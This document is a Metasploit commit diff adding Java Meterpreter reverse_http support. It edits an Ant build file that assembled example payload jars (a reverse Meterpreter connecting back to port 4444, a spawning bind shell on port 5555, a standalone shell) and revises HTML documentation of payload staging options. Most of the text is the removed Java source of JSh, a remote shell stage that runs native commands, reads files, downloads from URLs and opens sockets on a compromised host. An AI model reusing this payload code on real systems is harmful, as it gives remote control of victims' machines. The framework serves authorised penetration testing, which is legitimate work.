add support for java/meterpreter/reverse_http. assuming i didn't miss any files, fixes #4946, thanks mihi!
git-svn-id: file:///home/svn/framework3/trunk@13213 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
3ca9b51984
commit
3c261c346f
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -1,5 +1,5 @@
|
|||
<?xml version="1.0"?>
|
||||
<project name="JavaPayload4Meterpreter" default="jar">
|
||||
<project name="JavaPayload4Meterpreter" default="deploy">
|
||||
|
||||
<target name="clean">
|
||||
<delete dir="build" />
|
||||
|
@ -11,45 +11,7 @@
|
|||
</target>
|
||||
|
||||
<target name="jar" depends="compile">
|
||||
<!-- main jar -->
|
||||
<jar destfile="JavaPayload4Meterpreter.jar" basedir="build" />
|
||||
<!-- example 1: standalone JSh -->
|
||||
<propertyfile file="build/metasploit.dat">
|
||||
<entry key="LPORT" value="0" />
|
||||
<entry key="EmbeddedStage" value="JSh"/>
|
||||
</propertyfile>
|
||||
<jar destfile="example-standalone-jsh.jar">
|
||||
<manifest>
|
||||
<attribute name="Main-Class" value="metasploit.Payload"/>
|
||||
</manifest>
|
||||
<fileset dir="build">
|
||||
<include name="metasploit/Payload.class"/>
|
||||
<include name="javapayload/stage/Stage.class"/>
|
||||
<include name="javapayload/stage/JSh*.class"/>
|
||||
<include name="metasploit.dat"/>
|
||||
</fileset>
|
||||
</jar>
|
||||
<delete file="build/metasploit.dat"/>
|
||||
<!-- example 2: reverse meterpreter (like loader.jar) -->
|
||||
<propertyfile file="build/metasploit.dat">
|
||||
<entry key="LPORT" value="4444" />
|
||||
<entry key="LHOST" value="127.0.0.1" />
|
||||
<entry key="EmbeddedStage" value="Meterpreter"/>
|
||||
</propertyfile>
|
||||
<jar destfile="example-reverse-meterpreter.jar">
|
||||
<manifest>
|
||||
<attribute name="Main-Class" value="metasploit.Payload"/>
|
||||
</manifest>
|
||||
<fileset dir="build">
|
||||
<include name="metasploit/Payload.class"/>
|
||||
<include name="javapayload/stage/Stage.class"/>
|
||||
<include name="com/metasploit/meterpreter/MemoryBufferURL*.class"/>
|
||||
<include name="javapayload/stage/Meterpreter.class"/>
|
||||
<include name="metasploit.dat"/>
|
||||
</fileset>
|
||||
</jar>
|
||||
<delete file="build/metasploit.dat"/>
|
||||
<!-- example 3: spawning bind -->
|
||||
<!-- example: spawning bind -->
|
||||
<propertyfile file="build/metasploit.dat">
|
||||
<entry key="Spawn" value="2"/>
|
||||
<entry key="LPORT" value="5555" />
|
||||
|
@ -94,12 +56,9 @@
|
|||
<move file="build/metasploit/RMILoader.class.tmp" tofile="build/metasploit/RMILoader.class" />
|
||||
</target>
|
||||
|
||||
<target name="deploy" depends="compile,buildrmi">
|
||||
<target name="deploy" depends="compile">
|
||||
<copy todir="../../../data/java">
|
||||
<fileset dir="build">
|
||||
<exclude name="javapayload/stage/JSh*.class" />
|
||||
<exclude name="javapayload/stage/SendParameters.class" />
|
||||
<exclude name="javapayload/stage/SystemInfo.class" />
|
||||
<exclude name="metasploit/PayloadApplet.class" />
|
||||
<exclude name="rmi/**" />
|
||||
<exclude name="metasploit.dat" />
|
||||
|
|
|
@ -46,10 +46,8 @@ JavaPayload from Metasploit which is written in Ruby and not in Java.</p>
|
|||
|
||||
<h2>How to use the <i>Payload</i> class.</h2>
|
||||
|
||||
<p>The <i>Payload</i> class is (among a collection of JavaPayload
|
||||
stage classes) stored inside <tt>JavaPayload4Meterpreter.jar</tt>.</p>
|
||||
|
||||
<p>It is a standard java main class (i. e. it has a <tt>public
|
||||
<p>The <i>Payload</i> class is
|
||||
a standard java main class (i. e. it has a <tt>public
|
||||
static void main(String[])</tt> method), so the most obvious way to invoke it
|
||||
is putting it into a Jar file whose manifest's <tt>Main-Class</tt>
|
||||
attribute is <tt>metasploit.Payload</tt>. The resuling jar can be
|
||||
|
@ -82,22 +80,14 @@ delete a running class file as technically, not the class file but the
|
|||
Java VM is running).</p>
|
||||
|
||||
<p>After that, it will either listen on a port and accept a socket,
|
||||
connect to an URL (using a protocol like HTTP or HTTPS),
|
||||
create an active socket connection, or (for debugging purposes) just
|
||||
uses standard input and standard output; in any case, the resulting
|
||||
input/output streams are used for the staging</p>
|
||||
|
||||
<p>The property file can configure an <i>embedded stage</i> which
|
||||
will be loaded directly from the current classloader (i. e. JAR). Note
|
||||
that this feature cannot be used from a sub-process, as the rest of the
|
||||
JAR file will not be available any longer there.</p>
|
||||
|
||||
<p>If no embedded stage is configured, the stage is loaded from the
|
||||
input stream instead (see below for the data format).</p>
|
||||
|
||||
<p>Once the stage is loaded, the streams are handed to the stage.
|
||||
Stages may require optional parameters (a string) which can be given
|
||||
either in the property file or by using the <tt>SendParameters</tt>
|
||||
stage from JavaPayload.</p>
|
||||
in the property file.</p>
|
||||
|
||||
<p>When the stage quits, the payload class terminates and cleans up
|
||||
after itself if needed.</p>
|
||||
|
@ -121,16 +111,21 @@ original filename), made executable (if needed by the OS) and executed.
|
|||
When this option is present, no staging will be performed and all
|
||||
options documented below are ignored.</p>
|
||||
|
||||
<h3><tt>EmbeddedStage</tt>(<tt>=</tt>)</h3>
|
||||
|
||||
<p><b>Note: </b> this option will not work with the <tt>Spawn</tt>
|
||||
option!</p>
|
||||
|
||||
<h3><tt>StageParameters</tt>(<tt>=</tt>)</h3>
|
||||
|
||||
<p>Additional parameters to be used by the stage, regardless whether
|
||||
it was embedded or not. Only few stages support/require parameters.</p>
|
||||
|
||||
<h3><tt>URL</tt>(<tt>=</tt>)</h3>
|
||||
|
||||
<p>Load the stage from this URL. The URL will be requested and the
|
||||
resulting stream will be used for loading the stage classes from.
|
||||
As the stage's output stream will discard all input, this is only
|
||||
useful with stages (like Meterpreter) that can communicate via
|
||||
some other means back to the attacker.</p>
|
||||
|
||||
<p><b>Note: </b>If this option is given, LHOST and LPORT are ignored.</p>
|
||||
|
||||
<h3><tt>LPORT</tt>(<tt>=4444</tt>)</h3>
|
||||
|
||||
<p>Port to listen on or to connect to (if <tt>LHOST</tt> is also
|
||||
|
@ -161,56 +156,6 @@ stages to make updates easier. All stages listed here can be used
|
|||
without special "Java" tricks (like serialization or JDWP protocol), to
|
||||
easily use them from Ruby.</p>
|
||||
|
||||
<h3><tt>Exec</tt></h3>
|
||||
<dl>
|
||||
<dt><b>Stage classes</b></dt>
|
||||
<dd>javapayload.stage.Stage, javapayload.stage.StreamForwarder,
|
||||
javapayload.stage.Exec</dd>
|
||||
</dl>
|
||||
<dl>
|
||||
<dt><b>Parameters</b></dt>
|
||||
<dd><tt><b>Exec</b> <i>commandline</i></tt></dd>
|
||||
</dl>
|
||||
<dl>
|
||||
<dt><b>Stage protocol</b></dt>
|
||||
<dd>raw Input/output streams</dd>
|
||||
</dl>
|
||||
|
||||
<p>Execute an executable on the target machine and forward streams.
|
||||
Stdout and Stderr are merged automatically.</p>
|
||||
|
||||
<h3><tt>JSh</tt></h3>
|
||||
<dl>
|
||||
<dt><b>Stage classes</b></dt>
|
||||
<dd>javapayload.stage.Stage, javapayload.stage.JShSignalSender,
|
||||
javapayload.stage.JShStreamForwarder, javapayload.stage.JSh</dd>
|
||||
</dl>
|
||||
<dl>
|
||||
<dt><b>Parameters</b></dt>
|
||||
<dd>Not supported</dd>
|
||||
</dl>
|
||||
<dl>
|
||||
<dt><b>Stage protocol</b></dt>
|
||||
<dd>Plain text</dd>
|
||||
</dl>
|
||||
|
||||
<p>A simple shell written in pure Java.</p>
|
||||
|
||||
<pre>Supported commands:
|
||||
help - show this help
|
||||
info - list system properties
|
||||
pwd - show current directory
|
||||
cd - change directory
|
||||
ls - list directory
|
||||
exec - execute native command
|
||||
cat - show text file
|
||||
wget - download file
|
||||
telnet - create TCP connection
|
||||
paste - create text file
|
||||
jobs - list or continue jobs
|
||||
exit - Exit JSh</pre>
|
||||
|
||||
|
||||
<h3><tt>Meterpreter</tt></h3>
|
||||
<dl>
|
||||
<dt><b>Stage classes</b></dt>
|
||||
|
@ -231,40 +176,11 @@ Stdout and Stderr are merged automatically.</p>
|
|||
<p>Loader to load the Java version of Metasploit's own
|
||||
post-exploitation toolkit.</p>
|
||||
|
||||
<h3><tt>SendParameters</tt></h3>
|
||||
<dl>
|
||||
<dt><b>Stage classes</b></dt>
|
||||
<dd><i>all classes needed by the stage to use</i>,
|
||||
javapayload.stage.SendParameters</dd>
|
||||
</dl>
|
||||
<dl>
|
||||
<dt><b>Parameters</b></dt>
|
||||
<dd>Not supported</dd>
|
||||
</dl>
|
||||
<dl>
|
||||
<dt><b>Stage protocol</b></dt>
|
||||
<dd>First transfer of parameters, then as the stage to use</dd>
|
||||
</dl>
|
||||
|
||||
<p>"Intermediate" stage that can be used to change the stage
|
||||
parameters in cases where they cannot be cast in stone when the payload
|
||||
is built.</p>
|
||||
|
||||
<p>After sending the stage, but before sending data for the stage,
|
||||
you have to send the parameters:</p>
|
||||
|
||||
<p>The parameters start with a unsigned big-endian 16-bit integer
|
||||
that specifies the number of parameters. Then each parameter is sent in
|
||||
Java's <a
|
||||
href="http://download.oracle.com/javase/1.4.2/docs/api/java/io/DataInput.html#readUTF()">modified
|
||||
UTF string format</a>. After that, the actual data for the stage can be
|
||||
sent.</p>
|
||||
|
||||
<h3><tt>Shell</tt></h3>
|
||||
<dl>
|
||||
<dt><b>Stage classes</b></dt>
|
||||
<dd>javapayload.stage.Stage, javapayload.stage.StreamForwarder,
|
||||
javapayload.stage.Exec</dd>
|
||||
javapayload.stage.Shell</dd>
|
||||
</dl>
|
||||
<dl>
|
||||
<dt><b>Parameters</b></dt>
|
||||
|
@ -278,62 +194,5 @@ sent.</p>
|
|||
<p>This stager loads /bin/sh on Unix systems and cmd.exe on Windows
|
||||
systems, and else just behaves like the <tt>Exec</tt> stage.</p>
|
||||
|
||||
<h3><tt>SystemInfo</tt></h3>
|
||||
<dl>
|
||||
<dt><b>Stage classes</b></dt>
|
||||
<dd>javapayload.stage.Stage, javapayload.stage.SystemInfo</dd>
|
||||
</dl>
|
||||
<dl>
|
||||
<dt><b>Parameters</b></dt>
|
||||
<dd>Not supported</dd>
|
||||
</dl>
|
||||
<dl>
|
||||
<dt><b>Stage protocol</b></dt>
|
||||
<dd>Plain text</dd>
|
||||
</dl>
|
||||
|
||||
<p>This stage just returns some system and network information. The
|
||||
input stream is ignored. Useful as an embedded stage for automatic data
|
||||
gathering with <tt>netcat</tt>, but not useful for anything else.</p>
|
||||
|
||||
<h3><tt>UpExec</tt></h3>
|
||||
<dl>
|
||||
<dt><b>Stage classes</b></dt>
|
||||
<dd>javapayload.stage.Stage, javapayload.stage.StreamForwarder,
|
||||
javapayload.stage.UpExec</dd>
|
||||
</dl>
|
||||
<dl>
|
||||
<dt><b>Parameters</b></dt>
|
||||
<dd><b>UpExec</b> <i>program_name</i> <i>arguments</i></dd>
|
||||
</dl>
|
||||
<dl>
|
||||
<dt><b>Stage protocol</b></dt>
|
||||
<dd>raw Input/output streams</dd>
|
||||
</dl>
|
||||
|
||||
<p>Acts like exec, just that the a file can be uploaded first
|
||||
(stored with a random file name) which will be executed with parameters.</p>
|
||||
|
||||
<p>The file is uploaded directly after uploading the stage classes,
|
||||
prefixed by a 32-bit big-endian integer size value.</p>
|
||||
|
||||
<h2>Included example jars</h2>
|
||||
|
||||
<h3><tt>example-reverse-meterpreter.jar</tt></h3>
|
||||
|
||||
<p>Will connect back to metasploit at localhost:4444. and try to
|
||||
bootstrap meterpreter (via an embedded stage). Except for the hard-coded
|
||||
address in the property file, it acts like <i>loader.jar</i>.</p>
|
||||
|
||||
<h3><tt>example-spawn-bind.jar</tt></h3>
|
||||
|
||||
<p>Will spawn 2 Java processes and then listen on port 5555 for
|
||||
incoming connections. No embedded stages.</p>
|
||||
|
||||
<h3><tt>example-standalone-jsh.jar</tt></h3>
|
||||
|
||||
<p>Will run JSh on stdin/stdout. Example for the stdin/stdout
|
||||
feature and useful for testing JSh easily.</p>
|
||||
|
||||
</body>
|
||||
</html>
|
|
@ -1,346 +0,0 @@
|
|||
/*
|
||||
* Java Payloads.
|
||||
*
|
||||
* Copyright (c) 2010, Michael 'mihi' Schierl
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* - Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
*
|
||||
* - Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* - Neither name of the copyright holders nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from
|
||||
* this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
|
||||
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
package javapayload.stage;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.File;
|
||||
import java.io.FileInputStream;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.io.PipedInputStream;
|
||||
import java.io.PipedOutputStream;
|
||||
import java.io.PrintStream;
|
||||
import java.net.Socket;
|
||||
import java.net.URL;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Enumeration;
|
||||
import java.util.List;
|
||||
|
||||
public class JSh implements Stage, Runnable {
|
||||
|
||||
// each job is an Object[] to avoid a pure data class
|
||||
// job[0] = name (String)
|
||||
// job[1] = raw object (Socket or Process or Stream) for closing
|
||||
// job[2] = OutputStream to forward user input to
|
||||
// job[3..length-1] = JshStreamForwarders to redirect output
|
||||
private final List jobs = new ArrayList();
|
||||
|
||||
private PipedOutputStream signalStream;
|
||||
private InputStream originalIn;
|
||||
private PrintStream pout;
|
||||
|
||||
/**
|
||||
* Forward data from one stream to another. Closes the input stream but not the output stream!
|
||||
*/
|
||||
private void forward(InputStream in, OutputStream out) throws IOException {
|
||||
final byte[] buf = new byte[4096];
|
||||
int len;
|
||||
while ((len = in.read(buf)) != -1) {
|
||||
out.write(buf, 0, len);
|
||||
if (in.available() == 0) {
|
||||
out.flush();
|
||||
}
|
||||
}
|
||||
in.close();
|
||||
}
|
||||
|
||||
private boolean forwardEscapable(InputStream in, Object[] job) throws IOException {
|
||||
final OutputStream out = (OutputStream) job[2];
|
||||
int b;
|
||||
boolean startOfLine = true, tilde = false, interrupted = true;
|
||||
while (true) {
|
||||
if (interrupted && job.length > 3) {
|
||||
boolean allFinished = true;
|
||||
for (int i = 3; i < job.length; i++) {
|
||||
if (!((JShStreamForwarder) job[i]).isFinished()) {
|
||||
allFinished = false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (allFinished) {
|
||||
pout.println("Finished: " + job[0]);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
interrupted = false;
|
||||
if ((b = in.read()) != -1) {
|
||||
if (b == 0) {
|
||||
b = in.read();
|
||||
if (b != 0) {
|
||||
interrupted = true;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
if (startOfLine && b == '~') {
|
||||
tilde = true;
|
||||
} else if (tilde && b == '&') {
|
||||
return true;
|
||||
} else if (tilde && b == '.') {
|
||||
return false;
|
||||
} else {
|
||||
if (tilde && b != '~') {
|
||||
out.write('~');
|
||||
}
|
||||
out.write(b);
|
||||
if (in.available() == 0) {
|
||||
out.flush();
|
||||
}
|
||||
tilde = false;
|
||||
}
|
||||
startOfLine = (b == '\r' || b == '\n');
|
||||
} else {
|
||||
// our control connection has died...
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void handleBackgroundJob(DataInputStream in, Object[] job) throws Exception {
|
||||
pout.println("Press ~& to suspend, ~. to stop job.");
|
||||
for (int i = 3; i < job.length; i++) {
|
||||
((JShStreamForwarder) job[i]).pauseForwarding(false);
|
||||
}
|
||||
if (forwardEscapable(in, job)) {
|
||||
for (int i = 3; i < job.length; i++) {
|
||||
((JShStreamForwarder) job[i]).pauseForwarding(true);
|
||||
}
|
||||
jobs.add(job);
|
||||
pout.println("Job suspended, see 'jobs'.");
|
||||
} else {
|
||||
for (int i = 3; i < job.length; i++) {
|
||||
((JShStreamForwarder) job[i]).stopForwarding();
|
||||
}
|
||||
if (job[1] instanceof Socket) {
|
||||
((Socket) job[1]).close();
|
||||
} else if (job[1] instanceof Process) {
|
||||
((Process) job[1]).destroy();
|
||||
} else {
|
||||
((OutputStream) job[1]).close();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void run() {
|
||||
try {
|
||||
try {
|
||||
int b;
|
||||
while ((b = originalIn.read()) != -1) {
|
||||
signalStream.write(b);
|
||||
if (b == 0) {
|
||||
signalStream.write(b);
|
||||
}
|
||||
if (originalIn.available() == 0) {
|
||||
signalStream.flush();
|
||||
}
|
||||
}
|
||||
} finally {
|
||||
originalIn.close();
|
||||
signalStream.close();
|
||||
}
|
||||
} catch (final Throwable ex) {
|
||||
ex.printStackTrace(pout);
|
||||
}
|
||||
}
|
||||
|
||||
public void start(DataInputStream originalIn, OutputStream out, String[] parameters) throws Exception {
|
||||
this.originalIn = originalIn;
|
||||
signalStream = new PipedOutputStream();
|
||||
pout = new PrintStream(out, true);
|
||||
final DataInputStream in = new DataInputStream(new PipedInputStream(signalStream));
|
||||
final Thread copier = new Thread(this);
|
||||
copier.setDaemon(true);
|
||||
copier.start();
|
||||
final JShSignalSender ss = new JShSignalSender(signalStream, pout);
|
||||
File pwd = new File(".").getCanonicalFile();
|
||||
while (true) {
|
||||
pout.print("! ");
|
||||
// yes I know this is deprecated. but BufferedReader is way too bloated for what we need here
|
||||
String cmd = in.readLine();
|
||||
while (cmd.indexOf("\0$") != -1) {
|
||||
cmd = cmd.substring(0, cmd.indexOf("\0$")) + cmd.substring(cmd.indexOf("\0$") + 2);
|
||||
}
|
||||
if (cmd.length() == 0) {
|
||||
continue;
|
||||
}
|
||||
int pos = cmd.indexOf(' ');
|
||||
String params = "";
|
||||
if (pos != -1) {
|
||||
params = cmd.substring(pos + 1);
|
||||
cmd = cmd.substring(0, pos);
|
||||
}
|
||||
cmd = cmd.toLowerCase().intern();
|
||||
try {
|
||||
if (cmd == "info") {
|
||||
if (params.length() == 0) {
|
||||
final Enumeration e = System.getProperties().propertyNames();
|
||||
while (e.hasMoreElements()) {
|
||||
final String property = (String) e.nextElement();
|
||||
pout.println(property + "=" + System.getProperty(property));
|
||||
}
|
||||
} else {
|
||||
pout.println(params + "=" + System.getProperty(params));
|
||||
}
|
||||
} else if (cmd == "pwd") {
|
||||
pout.println(pwd.getPath());
|
||||
} else if (cmd == "cd") {
|
||||
File f = new File(pwd, params);
|
||||
if (f.exists() && f.isDirectory()) {
|
||||
pwd = f.getCanonicalFile();
|
||||
} else {
|
||||
f = new File(params);
|
||||
if (f.exists() && f.isDirectory()) {
|
||||
pwd = f.getCanonicalFile();
|
||||
} else {
|
||||
pout.println("Path not found.");
|
||||
}
|
||||
}
|
||||
pout.println(pwd.getPath());
|
||||
} else if (cmd == "ls") {
|
||||
final File[] roots = File.listRoots();
|
||||
for (int i = 0; i < roots.length; i++) {
|
||||
pout.println(roots[i].getAbsolutePath() + "\t[ROOT]");
|
||||
}
|
||||
pout.println();
|
||||
final File[] dir = pwd.listFiles();
|
||||
for (int i = 0; i < dir.length; i++) {
|
||||
pout.println(dir[i].getName() + "\t" + (dir[i].isDirectory() ? "[DIR]" : "" + dir[i].length()) + "\t" + dir[i].lastModified());
|
||||
}
|
||||
} else if (cmd == "exec") {
|
||||
Process proc;
|
||||
handleBackgroundJob(in, new Object[] { "exec " + params, proc = Runtime.getRuntime().exec(params), proc.getOutputStream(), new JShStreamForwarder(proc.getInputStream(), pout, ss), new JShStreamForwarder(proc.getErrorStream(), pout, ss) });
|
||||
} else if (cmd == "cat") {
|
||||
final FileInputStream fis = new FileInputStream(new File(pwd, params));
|
||||
forward(fis, pout);
|
||||
} else if (cmd == "wget") {
|
||||
pos = params.indexOf(' ');
|
||||
if (pos == -1) {
|
||||
pout.println(" Usage: wget <URL> <filename>");
|
||||
} else {
|
||||
final FileOutputStream fos = new FileOutputStream(new File(pwd, params.substring(pos + 1)));
|
||||
forward(new URL(params.substring(0, pos)).openStream(), fos);
|
||||
fos.close();
|
||||
}
|
||||
} else if (cmd == "telnet") {
|
||||
pos = params.indexOf(' ');
|
||||
if (pos == -1) {
|
||||
pout.println(" Usage: telnet <host> <port>");
|
||||
} else {
|
||||
Socket s;
|
||||
handleBackgroundJob(in, new Object[] { "telnet " + params, s = new Socket(params.substring(0, pos), Integer.parseInt(params.substring(pos + 1))), s.getOutputStream(), new JShStreamForwarder(s.getInputStream(), pout, ss) });
|
||||
}
|
||||
} else if (cmd == "paste") {
|
||||
FileOutputStream fos;
|
||||
handleBackgroundJob(in, new Object[] { "paste " + params, fos = new FileOutputStream(new File(pwd, params)), fos });
|
||||
} else if (cmd == "jobs") {
|
||||
if (params.length() == 0) {
|
||||
for (int i = 0; i < jobs.size(); i++) {
|
||||
pout.println((i + 1) + "\t" + ((Object[]) jobs.get(i))[0]);
|
||||
}
|
||||
} else {
|
||||
handleBackgroundJob(in, (Object[]) jobs.remove(Integer.parseInt(params) - 1));
|
||||
}
|
||||
} else if (cmd == "exit") {
|
||||
break;
|
||||
} else if (cmd == "help") {
|
||||
params = params.toLowerCase().intern();
|
||||
if (params == "info") {
|
||||
pout.println("info: show system properties.");
|
||||
pout.println(" Usage: info [property]");
|
||||
} else if (params == "pwd") {
|
||||
pout.println("pwd: show current directory.");
|
||||
pout.println(" Usage: pwd");
|
||||
} else if (params == "cd") {
|
||||
pout.println("cd: change directory.");
|
||||
pout.println(" Usage: cd <path>");
|
||||
} else if (params == "ls") {
|
||||
pout.println("ls: list directory.");
|
||||
pout.println(" Usage: ls");
|
||||
} else if (params == "exec") {
|
||||
pout.println("exec: execute native command.");
|
||||
pout.println(" Usage: exec <command>");
|
||||
} else if (params == "cat") {
|
||||
pout.println("cat: show text file.");
|
||||
pout.println(" Usage: cat <filename>");
|
||||
} else if (params == "wget") {
|
||||
pout.println("wget: download file.");
|
||||
pout.println(" Usage: wget <URL> <filename>");
|
||||
} else if (params == "telnet") {
|
||||
pout.println("telnet: create TCP connection.");
|
||||
pout.println(" Usage: telnet <host> <port>");
|
||||
} else if (params == "paste") {
|
||||
pout.println("paste: create text file.");
|
||||
pout.println(" Usage: paste <filename>");
|
||||
} else if (params == "jobs") {
|
||||
pout.println("jobs: list or continue jobs.");
|
||||
pout.println(" Usage: jobs [index]");
|
||||
} else if (params == "exit") {
|
||||
pout.println("exit: Exit JSh.");
|
||||
pout.println(" Usage: exit");
|
||||
} else {
|
||||
pout.println("help: show information about commands.");
|
||||
pout.println(" Usage: help [command]");
|
||||
pout.println();
|
||||
pout.println("Supported commands:");
|
||||
pout.println(" help - show this help");
|
||||
pout.println(" info - list system properties");
|
||||
pout.println(" pwd - show current directory");
|
||||
pout.println(" cd - change directory");
|
||||
pout.println(" ls - list directory");
|
||||
pout.println(" exec - execute native command");
|
||||
pout.println(" cat - show text file");
|
||||
pout.println(" wget - download file");
|
||||
pout.println(" telnet - create TCP connection");
|
||||
pout.println(" paste - create text file");
|
||||
pout.println(" jobs - list or continue jobs");
|
||||
pout.println(" exit - Exit JSh");
|
||||
pout.println();
|
||||
pout.println("When inside an interactive command, enter ~. on a new");
|
||||
pout.println("line to exit from that command. Enter ~& to background the command.");
|
||||
pout.println("Enter ~~ to start a line with a ~ character");
|
||||
}
|
||||
} else {
|
||||
pout.println("Unknown command: " + cmd);
|
||||
pout.println("Type help for more info.");
|
||||
}
|
||||
} catch (final Exception ex) {
|
||||
ex.printStackTrace(pout);
|
||||
}
|
||||
}
|
||||
ss.terminate();
|
||||
pout.close();
|
||||
}
|
||||
}
|
|
@ -1,84 +0,0 @@
|
|||
/*
|
||||
* Java Payloads.
|
||||
*
|
||||
* Copyright (c) 2010, Michael 'mihi' Schierl
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* - Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
*
|
||||
* - Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* - Neither name of the copyright holders nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from
|
||||
* this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
|
||||
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
package javapayload.stage;
|
||||
|
||||
import java.io.PipedOutputStream;
|
||||
import java.io.PrintStream;
|
||||
|
||||
/**
|
||||
* For some strange reason {@link PipedOutputStream} assumes something bad[tm] happened if a thread which wrote last to it dies without closing it. Therefore, we send all the "process dead" signals to the output stream via a dedicated thread that does not end before Jsh ends...
|
||||
*/
|
||||
public class JShSignalSender extends Thread {
|
||||
private final PipedOutputStream signalStream;
|
||||
private boolean doSignal, doTerminate;
|
||||
private final PrintStream errorStream;
|
||||
|
||||
public JShSignalSender(PipedOutputStream signalStream, PrintStream errorStream) {
|
||||
this.signalStream = signalStream;
|
||||
this.errorStream = errorStream;
|
||||
start();
|
||||
}
|
||||
|
||||
public void run() {
|
||||
try {
|
||||
while (true) {
|
||||
synchronized (this) {
|
||||
while (!doSignal && !doTerminate) {
|
||||
wait();
|
||||
}
|
||||
if (doTerminate) {
|
||||
break;
|
||||
}
|
||||
doSignal = false;
|
||||
}
|
||||
signalStream.write(new byte[] { 0, '$' });
|
||||
signalStream.flush();
|
||||
}
|
||||
signalStream.close();
|
||||
} catch (final Throwable ex) {
|
||||
ex.printStackTrace(errorStream);
|
||||
}
|
||||
}
|
||||
|
||||
public synchronized void signal() {
|
||||
doSignal = true;
|
||||
notifyAll();
|
||||
}
|
||||
|
||||
public synchronized void terminate() {
|
||||
doTerminate = true;
|
||||
notifyAll();
|
||||
}
|
||||
}
|
|
@ -1,108 +0,0 @@
|
|||
/*
|
||||
* Java Payloads.
|
||||
*
|
||||
* Copyright (c) 2010, Michael 'mihi' Schierl
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* - Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
*
|
||||
* - Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* - Neither name of the copyright holders nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from
|
||||
* this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
